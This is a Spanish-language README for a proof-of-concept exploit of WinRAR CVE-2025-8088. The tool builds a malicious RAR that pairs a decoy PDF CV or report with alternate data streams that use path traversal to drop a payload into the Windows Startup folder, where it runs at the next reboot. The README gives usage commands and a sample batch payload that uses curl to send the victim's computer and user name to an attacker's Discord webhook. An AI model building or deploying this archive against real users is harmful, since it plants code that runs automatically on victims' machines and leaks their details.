CVE-2025-8088 Exploit de WinRAR 🔓

Un exploit de prueba de concepto para la vulnerabilidad de WinRAR (CVE-2025-8088) que afecta a las versiones 7.12 y anteriores. Esta herramienta crea un archivo RAR malicioso que incrusta cargas útiles en flujos de datos alternativos (ADS) con path traversal, lo que potencialmente lleva a la ejecución de código arbitrario.

• El problema con muchos de los otros es que no incrustan múltiples flujos ADS, requiriendo o bien tener suerte con el path traversal correcto o conocer el nombre de usuario exacto/directorio de extracción.

🚀 Cómo funciona

1. Crea un Documento Señuelo 📄 - Genera un PDF de aspecto profesional (CV o informe de pentest)
2. Incrusta Múltiples Flujos ADS 🔄 - Adjunta flujos de carga útil con diferentes profundidades de path traversal
3. Manipula las Cabeceras RAR ⚙️ - Modifica la estructura del archivo para explotar la vulnerabilidad de path traversal
4. Coloca la Carga Útil en Inicio 📂 - Intenta escribir la carga útil en la carpeta de inicio de Windows al ser extraída

🛠️ Uso

# Clonar el repositorio
git clone https://github.com/techcorp/CVE-2025-8088-Exploit.git
cd best-CVE-2025-8088

# Instalar dependencias
pip install reportlab

# Ejecutar el exploit
python CVE-2025-8088.py

✏️ Personalización de la Carga Útil

Edita la carga útil para llamar a un webhook de Discord:

# Reemplaza la variable PAYLOAD en el script:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extraído en %COMPUTERNAME% por %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""

Reemplaza YOUR_DISCORD_WEBHOOK_URL con la URL real de tu webhook.

🔄 Flujo de Ejecución

1. La víctima extrae el RAR con WinRAR vulnerable (≤7.12)
2. La carga útil se escribe en la carpeta de inicio:
   root@kitploit:~

   AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
   

3. En el próximo reinicio ➡️ la carga útil se ejecuta automáticamente

📋 Requisitos

• Sistema operativo Windows 🪟
• Python 3.x 🐍
• WinRAR instalado
• Librería ReportLab (pip install reportlab)